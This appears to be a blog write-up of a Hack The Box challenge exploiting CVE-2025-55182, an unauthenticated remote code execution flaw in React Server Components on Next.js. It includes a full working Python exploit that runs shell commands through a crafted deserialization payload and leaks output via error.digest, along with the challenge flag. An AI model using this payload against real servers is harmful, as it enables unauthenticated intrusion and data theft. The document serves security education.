591 words
3 minutes
CVE-2025-55182: ReactOOPS

Vulnerability Summary#

FieldValue
CVE IDCVE-2025-55182
TargetNext.js 16.0.6 with React 19
TypeRemote Code Execution (RCE)
SeverityCritical
Auth RequiredNone (Unauthenticated)

Challenge Scenario#

NexusAI’s polished assistant interface promises adaptive learning and seamless interaction. But beneath its reactive front end, subtle glitches hint that user input may be shaping the system in unexpected ways. Explore the platform, trace the echoes in its reactive layer, and uncover the hidden flaw buried behind the UI.

1. Reconnaissance#

The challenge provides a downloadable source code archive. The application is a Next.js web app (“NexusAI”).

File Analysis#

  • page.tsx: A static landing page. No visible forms, API calls, or user input handling.
  • Dockerfile: Sets ENV NODE_ENV=production. Copies the flag to flag.txt.
  • package.json:
    • Name: "react2shell" (A strong hint towards RCE)
    • Dependencies: "next": "16.0.6" and "react": "^19"

The version 16.0.6 for Next.js is futuristic (as of late 2024/early 2025), suggesting a specific vulnerability is the target.

2. Vulnerability Analysis#

CVE-2025-55182 - React Server Components RCE via Flight Payload Deserialization#

The application is vulnerable to a critical Remote Code Execution (RCE) flaw in the React Server Components (RSC) “Flight” protocol. This vulnerability allows an unauthenticated attacker to execute arbitrary code on the server by sending a crafted malicious payload during the deserialization process.

The Mechanism#

  1. Deserialization Gadget: The attacker sends a JSON payload that React attempts to deserialize.
  2. Hijacked then: The payload includes an object that mimics a Promise (a “thenable”).
  3. Code Execution: When React tries to resolve this fake promise, it executes a function defined in the payload (via _formData and the Function constructor).

3. Exploitation#

To exploit this, we need to send a POST request that triggers the Server Action processing pipeline.

The Obstacle: Production Mode#

The server runs in production mode, which suppresses detailed error messages. If we simply execute code, we might get a 500 error but no output.

The Bypass: error.digest#

Next.js has a specific behavior for error handling: if an error object thrown on the server has a digest property, that property’s value is sent to the client in the HTTP response, even in production. We can use this to exfiltrate the flag.

Exploit Script#

This Python script sends the malicious payload. It executes a command to read the flag, attaches the flag content to an error’s digest, and throws the error.

import requests
import json
# Target URL
url = "http://target:port"
# Payload Command:
# 1. Read the flag file using child_process.
# 2. Create a new Error object.
# 3. Set the 'digest' property to the flag content.
# 4. Throw the error to force Next.js to return the flag in the response.
cmd = """
var flag = process.mainModule.require('child_process').execSync('cat /app/flag.txt').toString();
var e = new Error('Exploit');
e.digest = flag.trim();
throw e;
"""
# Minify command to single line for JSON injection
cmd = cmd.replace('\n', ' ')
# Malicious JSON Object
# This structure triggers the CVE-2025-55182 deserialization flaw
payload_obj = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": cmd,
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
# Multipart body with cross-reference ($@0) to trigger deserialization
files = {
'0': (None, json.dumps(payload_obj)),
'1': (None, '"$@0"')
}
# The Next-Action header is required to hit the vulnerable code path
headers = {
'Next-Action': 'x'
}
print(f"[*] Sending exploit to {url}...")
try:
response = requests.post(url, files=files, headers=headers)
print(f"[*] Status Code: {response.status_code}")
print("[*] Response Body:")
print(response.text)
except Exception as e:
print(f"[!] Error: {e}")

4. Result#

Running the script produces a 500 error, but the response body contains the flag inside the digest field:

[*] Status Code: 500
[*] Response Body:
0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"}
1:E{"digest":"HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}"}

Key Takeaways#

  • React Server Components introduce new attack surfaces through the Flight protocol
  • Deserialization vulnerabilities can lead to RCE even in modern frameworks
  • Production error handling can leak sensitive data through error.digest
  • Thenable objects can be weaponized to trigger code execution during promise resolution

Flag#

HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}
CVE-2025-55182: ReactOOPS
https://daryx.vercel.app/posts/cve-2025-55182-reactoops/
Author
Daryx
Published at
2025-01-30
License
CC BY-NC-SA 4.0